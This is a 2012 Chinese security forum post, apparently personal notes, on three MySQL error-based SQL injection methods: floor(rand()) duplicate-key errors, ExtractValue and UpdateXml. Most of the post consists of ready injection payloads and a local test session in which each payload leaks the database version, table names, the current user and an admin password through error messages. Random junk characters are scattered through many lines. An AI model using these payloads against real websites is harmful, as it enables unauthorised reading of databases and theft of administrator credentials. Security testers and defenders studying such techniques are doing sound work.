找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2160|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
. @4 d# u3 C/ B9 b7 z实际测试环境:
2 t. x# n/ A4 v
8 |1 O) p: ?2 Z/ Q+ y, v! R
+ L5 Z' p" p  F/ u! \; w1 Vmysql> show tables;8 K' K1 P! o. |) P% o6 v
+----------------+
4 M4 O- ^' v0 c# v| Tables_in_test |
' ?. m) B4 z$ G' _/ k9 Y6 T4 {& h+----------------+! d1 i0 R; `7 ~5 w8 Q
| admin          |
5 V: d" Q2 e9 S8 `( X| article        |4 M7 z4 R+ j. g! E) H1 Q
+----------------+
7 m, l9 N- R4 V& u& ?! ?. ^
* c% G- J9 v5 m  a3 f0 ? # w: x$ N* C6 V5 `( Z0 O- \8 P, o0 I% T

) U, N! P) x1 |; E4 P% Wmysql> describe admin;& J+ \" h  s/ |; o" h
+-------+------------------+------+-----+---------+----------------+
5 J( _! m7 }+ ]. q9 l  y| Field | Type             | Null | Key | Default | Extra          |* x8 L" c4 g7 l& A1 g/ i' _
+-------+------------------+------+-----+---------+----------------+5 X5 ~. m. H2 a6 B) |" G% C
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
2 j8 M/ e% R0 X| user  | varchar(50)      | NO   |     | NULL    |                |
1 j$ G% h6 G, W6 N; z) O| pass  | varchar(50)      | NO   |     | NULL    |                |( L3 ]+ }0 {7 a1 J0 j* A, Q
+-------+------------------+------+-----+---------+----------------+! {: F# U$ B+ h' T  l
( ]4 `/ J: l2 C6 i0 @

, Q9 B" V- D7 O% s, r
- I4 i8 E$ b6 ~mysql> describe article;
) s5 s" G1 k9 S1 ~8 a; B+---------+------------------+------+-----+---------+----------------+: P, F2 `7 @% U: d
| Field   | Type             | Null | Key | Default | Extra          |
+ Q5 A9 L8 ~& J- _, a( H! b6 o+---------+------------------+------+-----+---------+----------------+
) c1 c+ [$ l# R| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |3 _9 N; T( `. }! q3 i8 Z$ q7 R* O$ c
| title   | varchar(50)      | NO   |     | NULL    |                |
% W' ]# i  w& J4 e; W$ i| content | varchar(50)      | NO   |     | NULL    |                |
9 ]- n7 w) A8 l" n; J8 q+---------+------------------+------+-----+---------+----------------+9 o& C9 \1 l1 z/ [# e6 W
1、通过floor报错& H$ A) v: U0 ]) r
可以通过如下一些利用代码
6 I& c* R5 @6 f: q ( J8 t, C) R6 h3 C# Y) _

8 F7 Y7 F. B7 T4 oand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
8 M' |+ e. o0 E, Y! t9 X) U  yfrom information_schema.tables group by x)a);% x  |2 z0 {6 _% A8 Y
4 {( d( S. |- L1 U, E
3 Z7 G  @5 x0 I. _! ~* W7 X
and (select count(*) from (select 1 union select null union select !1)x( Z) \, Z5 J& G7 z- o
group by concat((select table_name from information_schema.tables limit 1),* q8 [+ n' G# b! c! B* h0 m% G9 K- N5 C
floor(rand(0)*2)));
; I- F4 V$ B- s6 @# Y举例如下:
# ^2 [% m! v" _8 @0 N- e* h$ W- o: j1 C( z首先进行正常查询:
6 E9 L6 ^! I6 ~ ; n: Q8 j9 L. G6 z' u* M
mysql> select * from article where id = 1;, j  J" E3 S+ e$ {& f
+----+-------+---------+
# [3 A6 z. N$ I% `# O) G| id | title | content |" M6 E& F' O: N. [1 T
+----+-------+---------++ I5 M3 L$ j; V$ q3 B
|  1 | test  | do it   |+ J9 X$ e7 R0 _  Y
+----+-------+---------+
1 M) R, P3 \4 o( \假如id输入存在注入的话,可以通过如下语句进行报错。- B$ C7 v: |7 ^3 u! `! X5 I2 E
5 _- m5 k( }" |) ?0 A

' F' }4 O! \+ ^- ]mysql> select * from article where id = 1 and (select 1 from5 j+ U! D# h0 R* c
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
! E, [0 Z. D2 |$ u% gERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'8 B  q2 U( P' L) V
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。4 q1 l4 P6 s& ]& F% Q, P
例如我们需要查询管理员用户名和密码:
/ I) M& e1 ~  ?. ]- p" Z- V( s! g: [4 d$ VMethod1:
4 `, z! Z1 C6 ^' y( j+ t
9 ]: S% R" o; w. E1 g  } 3 c% `1 F7 ?: m
mysql> select * from article where id = 1 and (select 1 from* J& z. e) b1 s8 c4 R
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x& M( o5 v7 M1 w
from information_schema.tables group by x)a);
% {, R7 N5 C4 A; o& v9 ~$ jERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
7 D5 G5 `. Q/ {$ D3 S0 YMethod2:
  H* g+ U5 [( J5 H; u. @# s9 ]) Z ' H" V* ^% }5 f2 a' X# ?& B
& q7 {6 K$ s/ u9 @
mysql> select * from article where id = 1 and (select count(*)( G- a% Y# n3 r% o) I) E6 Z
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
" k7 Q" D6 g- I% c; ffloor(rand(0)*2)));
- F$ ]( D: @; u' d" a3 UERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'2 R5 X/ d) Y1 _5 D
2、ExtractValue: j! N0 |7 [( d0 ~& b
测试语句如下( H) {7 n: o! t: g6 u4 H, F- i+ ~

, V/ o/ s+ `, Y ' E- G, ]& f) S+ y! T
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
9 E5 E9 _* l* ]8 F% ~$ j' Y  l4 Z实际测试过程. F% ?" R; _* v

8 d  L5 c" ^) K9 v7 W ; H. h9 o4 W. _) q" l" a" P/ A1 L
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,( F. Q/ f$ m7 w
(select pass from admin limit 1)));--
, v/ U) z( G1 E  C' s2 TERROR 1105 (HY000): XPATH syntax error: '\admin888'
. }5 K3 ~8 i) ?$ C# u( ]% _4 ^3、UpdateXml: U* W# X/ |' w4 u9 n9 m
测试语句9 h1 A1 y" [1 C* X
0 j/ m. z6 Q0 E4 v
: _7 x" F) p& e8 {$ W
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))3 r7 C, d# T7 H# e$ n
实际测试过程
+ b' S  T( ]; u6 P4 H6 _
1 `0 }5 ~: f) W# ?0 {/ N0 e ! r3 U, Z( _: v9 h+ O3 B3 \
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,- U9 V/ `8 A0 ]1 U
(select pass from admin limit 1),0x5e24),1));; p- m- ~3 C$ X+ g, w: g0 s4 \" v0 j
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'& q# A# |5 B$ i( V
All, thanks foreign guys.! q3 j# Z7 I  @+ a0 x" {

6 b5 u& L5 O3 I$ U/ b8 e% m
9 X$ j: E- U& c" A; O. i: J5 K- x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表